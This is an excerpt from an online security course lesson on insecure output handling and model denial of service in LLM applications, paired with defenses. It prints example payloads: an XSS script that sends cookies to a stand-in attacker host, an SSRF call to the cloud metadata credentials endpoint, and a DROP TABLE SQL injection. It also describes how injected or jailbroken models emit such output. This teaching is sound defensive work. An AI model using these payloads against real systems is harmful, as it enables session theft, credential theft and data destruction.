Phase 1: OWASP Top 10 for LLM Applications · 60 min · Python · Anthropic SDK

LLM02 & LLM04: Insecure Output Handling & Model Denial of Service

The model's output is attacker-influenced input to everything downstream of it — treat it exactly that way.

Hiring signal: Insecure output handling is the gap between 'the LLM behaved' and 'the application is safe' — companies test for engineers who treat model output as untrusted input to the rest of the stack, not as a display string. Demonstrating an XSS/SSRF chain from raw LLM output plus a working token-budget circuit breaker signals production AppSec instincts, not just prompt-writing skill.

What you will learn

Trace how unvalidated LLM output becomes an XSS, SSRF, or injection vector when rendered or executed downstream without sanitization
Implement an output validator/sandboxing layer that treats every model response as untrusted before it reaches a browser, database, or HTTP client
Implement token-budget circuit breakers and step limits that stop context-flooding and expensive prompt-chain denial-of-service attacks
Distinguish output-handling defenses (what happens after generation) from prompt-level defenses (what happens before generation)

The Problem

Every application built on an LLM eventually hits the same architectural question: what happens to the text the model produces? It gets rendered in a browser. It gets passed to a tool call that hits an HTTP endpoint. It gets spliced into a database query. It gets returned to another agent as context.

Insecure output handling (LLM02) is what happens when the answer to "what happens to it" is "we trust it." An LLM is a text generator that can be influenced — through direct prompting, through a successful injection (LLM01), or through retrieved content it was tricked into echoing. If that text reaches a browser's DOM without escaping, reaches an HTTP client without an allowlist check, or reaches a SQL engine without parameterization, the LLM has effectively become a new, highly flexible injection vector into infrastructure that has nothing to do with AI at all. The vulnerability isn't in the model — it's in the assumption that model output is safe because it "sounds reasonable."

Model Denial of Service (LLM04) is the resource-exhaustion sibling of the same problem: LLMs cost real money and real compute per token, and an attacker who can get the model to generate (or process) enormous amounts of text can drive costs and latency into a wall with a handful of requests — something a traditional request-count rate limiter won't catch, because the attack is about tokens consumed, not requests made.

Both categories share a root cause with LLM01: they're failures to treat something attacker-influenced as attacker-influenced. LLM01 is about what goes into the model. LLM02 and LLM04 are about what comes out, and how much it costs to get there.

LLM02: Insecure Output Handling

XSS via rendered output. If your application renders LLM output as HTML — a chat UI, a generated report, a summary page — and the model was ever induced (via injection or a jailbroken prompt) to include a <script> tag or an onerror= attribute, that code executes in the victim's browser with the victim's session and cookies:

<script>fetch("https://evil.example/steal?c="+document.cookie)</script>
<p>Here is your order summary.</p>

Defense: never render raw model output as HTML. Escape it (html.escape or your framework's equivalent) before it touches the DOM, or render through a sanitizing markdown renderer that strips executable content by policy, not by blocklist.

SSRF via a model-requested tool call. If your agent has a fetch_url or similar tool and the model can be influenced to request an internal address — most dangerously, a cloud metadata endpoint like 169.254.169.254 on AWS/GCP/Azure — an unchecked HTTP client will happily fetch IAM credentials or other internal-only data and hand them back to the model, which can then surface them to the attacker:

fetch_url(url="http://169.254.169.254/latest/meta-data/iam/security-credentials/")

Defense: every tool call that results in an outbound network request goes through a destination allowlist, checked before the request fires — not a blocklist, an allowlist. Block private IP ranges and known metadata endpoints outright, and only permit hosts you've explicitly approved.

SQL injection through generated queries. If the model generates SQL that's then executed directly — a "text-to-SQL" feature, or a model-in-the-loop reporting tool — a manipulated model output can append a second statement:

SELECT * FROM orders WHERE customer_id = 4471; DROP TABLE orders; --

Defense: never string-splice model output into a query. Use parameterized queries, and run any model-generated SQL under a read-only, schema-scoped database role so that even a successful injection has nothing destructive to reach.

Output handling is sink-specific — there is no universal filter
A single "sanitize the output" function does not exist, because HTML, HTTP, and SQL are injected through completely different mechanisms and defended with completely different techniques (escaping, allowlisting, parameterization). Treat each downstream consumer of model output as its own trust boundary with its own validation logic. A defense that works for XSS does nothing for SSRF.

Unlock the full lesson

You've read the first 2 sections. The rest of this lesson covers LLM04: Model Denial of Service, Building the Layered Defense, Build It, What to Practice — plus a hands-on lab, quiz, and project artifact.

Create a free account to unlock Phase 0 and Phase 1 of every course — no credit card.